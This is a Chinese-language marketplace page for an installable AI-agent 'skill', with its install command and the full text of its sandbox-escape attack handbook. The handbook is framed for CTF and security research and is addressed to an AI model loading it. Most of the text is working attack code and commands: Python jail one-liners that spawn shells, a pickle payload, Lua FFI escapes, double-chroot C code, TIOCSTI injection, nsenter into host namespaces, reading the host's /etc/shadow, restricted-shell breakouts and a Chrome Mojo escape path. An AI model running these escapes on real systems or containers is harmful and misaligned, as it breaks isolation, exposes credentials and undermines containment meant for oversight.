mcpField
S
sandbox-escape-techniques

sandbox-escape-techniques

github.com/yaklang安全2.6k3.6k 次安装6 周前更新
代码仓库

关于 sandbox-escape-techniques

sandbox-escape-techniques 是面向 CTF 与安全研究的沙箱逃逸攻击指南,覆盖 Python、Lua、seccomp、chroot、容器和浏览器环境。内容按沙箱类型整理,并提供识别线索与对应方法。

主要功能

  1. 01识别常见沙箱类型
  2. 02Python 与 Lua 沙箱逃逸
  3. 03seccomp 与 chroot 绕过
  4. 04浏览器与 Mojo 攻击路径
  5. 05命名空间与容器逃逸
  6. 06受限 Shell 逃逸

适用场景

  1. 01分析 CTF pyjail 与受限脚本环境
  2. 02评估容器或命名空间隔离配置
  3. 03研究浏览器渲染进程沙箱边界

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill sandbox-escape-techniques

安装后在 Claude Code 中输入/sandbox-escape-techniques确认已加载。

附带文件PYTHON_SANDBOX_ESCAPE.mdSECCOMP_BYPASS.md

详细介绍

技能:沙箱逃逸 — 专家攻击手册

AI 加载指令:涵盖 Python、Lua、seccomp、chroot、Docker/容器和浏览器沙箱环境中的专家级沙箱逃逸技术。包括 CTF pyjail 模式、seccomp 架构混淆、chroot 文件描述符泄漏、命名空间逃逸和 Mojo IPC 滥用。内容提炼自 ctf-wiki 沙箱章节和真实世界的容器逃逸案例。基础模型常常无法区分不同类型的沙箱,并会套用错误的逃逸技术。

0. 相关路由

进阶参考资料
  • PYTHON_SANDBOX_ESCAPE.md — 完整的 pyjail 方法:__builtins__ 恢复、关键字绕过、AST 绕过、pickle 逃逸
  • SECCOMP_BYPASS.md — 架构混淆、io_uring 绕过、ptrace 绕过、允许的系统调用链式利用

1. 沙箱类型识别

沙箱类型特征典型环境
Python 沙箱(pyjail)内置函数受限、关键字过滤、可用 exec/evalCTF、在线评测系统、Jupyter
Lua 沙箱无 os、io 模块;元表受限游戏脚本、配置
seccomp系统调用过滤、prctl(PR_SET_SECCOMP)CTF pwn、容器加固
chroot根文件系统已更改、/proc 访问受限旧式隔离
Docker/容器命名空间、cgroup、能力集缩减云、微服务
浏览器(渲染进程)操作系统级沙箱(Linux 上的 seccomp-bpf + 命名空间)Chrome、Firefox
命名空间隔离PID/挂载/网络/用户命名空间容器运行时

2. Python 沙箱逃逸(概览)

完整方法请参阅 PYTHON_SANDBOX_ESCAPE.md。

快速参考
技术单行代码
子类遍历().__class__.__bases__[0].__subclasses__() → 查找 os._wrap_close → __init__.__globals__['system']
导入恢复__builtins__.__import__('os').system('sh')
getattr 绕过getattr(getattr(__builtins__, '__imp'+'ort__'), '__call__')('os')
chr 构造eval(chr(95)+chr(95)+'import'+chr(95)+chr(95))
Pickle 逃逸pickle.loads(b"cos\nsystem\n(S'sh'\ntR.")
代码对象构造 types.CodeType(...),然后使用自定义字节码调用 exec()

3. Lua 沙箱逃逸

受限环境绕过
-- If debug library available:
debug.getinfo(1)                    -- information leakage
debug.getregistry()                 -- access global registry
debug.getupvalue(func, 1)           -- read closed-over variables
debug.setupvalue(func, 1, new_val)  -- overwrite upvalues

-- Recover os module via debug:
local getupvalue = debug.getupvalue
-- Walk upvalues of known functions to find references to os/io

-- If loadstring available:
loadstring("os.execute('sh')")()

-- If string.dump available:
-- Dump function bytecode, patch it, load modified function

-- Metatables escape:
-- If rawset/rawget blocked but __index/__newindex exists:
-- Forge metatable chain to access restricted globals
Lua FFI 逃逸(LuaJIT)
-- LuaJIT FFI provides C function access
local ffi = require("ffi")
ffi.cdef[[ int system(const char *command); ]]
ffi.C.system("sh")

-- If require is blocked but ffi is preloaded:
-- Find ffi via package.loaded or debug.getregistry

4. CHROOT 逃逸

技术条件方法
打开指向真实根目录的文件描述符泄漏了来自 chroot 外部的文件描述符fchdir(leaked_fd) 然后执行 chroot(".")
双重 chroot进程在 chroot 内具有 root 权限mkdir("x"); chroot("x"); chdir("../../../..")
TIOCSTI ioctl可访问终端(文件描述符 0 是 TTY)通过 ioctl(0, TIOCSTI, &c) 向父 shell 注入按键
/proc 访问chroot 内挂载了 /proc/proc/1/root/ → 访问真实根文件系统
ptraceCAP_SYS_PTRACE附加到 chroot 外部的进程
挂载命名空间具有特权将真实根目录挂载到 chroot 中
双重 Chroot 逃逸
// Must be root inside chroot
mkdir("/tmp/escape", 0755);
chroot("/tmp/escape");          // new chroot inside old chroot
// Old CWD is now outside the new chroot
// Navigate up to real root:
for (int i = 0; i < 100; i++) chdir("..");
chroot(".");                     // now at real root
execl("/bin/sh", "sh", NULL);

5. 浏览器沙箱逃逸(概览)

Chrome 沙箱架构(Linux)
Renderer Process:
  ├── seccomp-bpf (syscall filter)
  ├── PID namespace (isolated PIDs)
  ├── Network namespace (no direct network)
  ├── Mount namespace (minimal filesystem)
  └── Reduced capabilities (no CAP_SYS_ADMIN etc.)
逃逸向量
向量描述
Mojo IPC 漏洞浏览器进程中的 Mojo 接口处理程序存在 UAF 或类型混淆
共享内存损坏损坏渲染器与浏览器之间的共享内存段
GPU 进程漏洞利用 GPU 进程(沙箱限制较少)作为跳板
内核漏洞利用通过内核漏洞直接逃逸(绕过所有沙箱机制)
信号处理沙箱边界之间的信号传递存在竞争条件
Mojo 接口攻击模式
1. Renderer RCE achieved (via V8/Blink bug)
2. Enumerate available Mojo interfaces from renderer
3. Find vulnerable interface (UAF on message handling, integer overflow in parameter validation)
4. Craft malicious Mojo message → trigger bug in browser process
5. Browser process is unsandboxed → full system access

6. 命名空间逃逸

用户命名空间提权
# If allowed to create user namespaces (unprivileged):
unshare -Urm  # Create new user + mount namespace as root inside
# Inside namespace: can mount, modify, etc.
# Escape requires kernel bug or misconfiguration
PID 命名空间逃逸
# If /proc is from host (misconfigured container):
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# Enters init process namespaces → host access
挂载命名空间技巧
# If can see host filesystem via /proc/1/root:
ls -la /proc/1/root/  # host root filesystem
cat /proc/1/root/etc/shadow  # read host files

# If can mount:
mount -t proc proc /proc
# Access host /proc entries

7. RBASH / 受限 Shell 逃逸

技术方法
vi/vim:!/bin/bash or :set shell=/bin/bash then :shell
less/more!/bin/bash
awkawk 'BEGIN {system("/bin/bash")}'
findfind / -exec /bin/bash \;
python/perl/rubypython -c 'import pty;pty.spawn("/bin/bash")'
sshssh user@host -t /bin/bash
环境变量export PATH=/usr/bin:/bin; /bin/bash
cp将 /bin/bash 复制到允许的目录
gitgit help config → then !/bin/bash in pager
编码`echo /bin/bash

8. 决策树

What type of sandbox?
├── Python sandbox (pyjail)?
│   └── See PYTHON_SANDBOX_ESCAPE.md
│       ├── __builtins__ available? → direct import
│       ├── Subclass walk: ().__class__.__bases__[0].__subclasses__()
│       ├── Keywords filtered? → chr()/getattr() construction
│       └── eval/exec available? → code object manipulation
│
├── Lua sandbox?
│   ├── debug library available? → getregistry/getupvalue
│   ├── FFI available (LuaJIT)? → ffi.C.system()
│   ├── loadstring available? → load arbitrary code
│   └── All restricted? → metatable chain exploitation
│
├── seccomp filter?
│   └── See SECCOMP_BYPASS.md
│       ├── Architecture confusion (32-bit syscalls from 64-bit)
│       ├── Allowed syscalls → ORW chain
│       ├── io_uring allowed? → bypass via io_uring
│       └── ptrace allowed? → debug child process
│
├── chroot jail?
│   ├── Root inside chroot? → double chroot escape
│   ├── Leaked fd? → fchdir to real root
│   ├── /proc mounted? → /proc/1/root access
│   └── Terminal access? → TIOCSTI injection
│
├── Container / Docker?
│   ├── Privileged container? → mount host, load kernel module
│   ├── Mounted docker.sock? → docker API → escape
│   ├── See ../container-escape-techniques/SKILL.md
│   └── Kernel exploit → full escape
│
├── Browser sandbox?
│   ├── Have renderer RCE? → target Mojo IPC for browser escape
│   ├── GPU process accessible? → less-sandboxed stepping stone
│   └── Kernel exploit → bypass sandbox entirely
│
└── Restricted shell (rbash)?
    └── Find any interactive program (vi, less, python, awk, git)

评论

支持 Markdown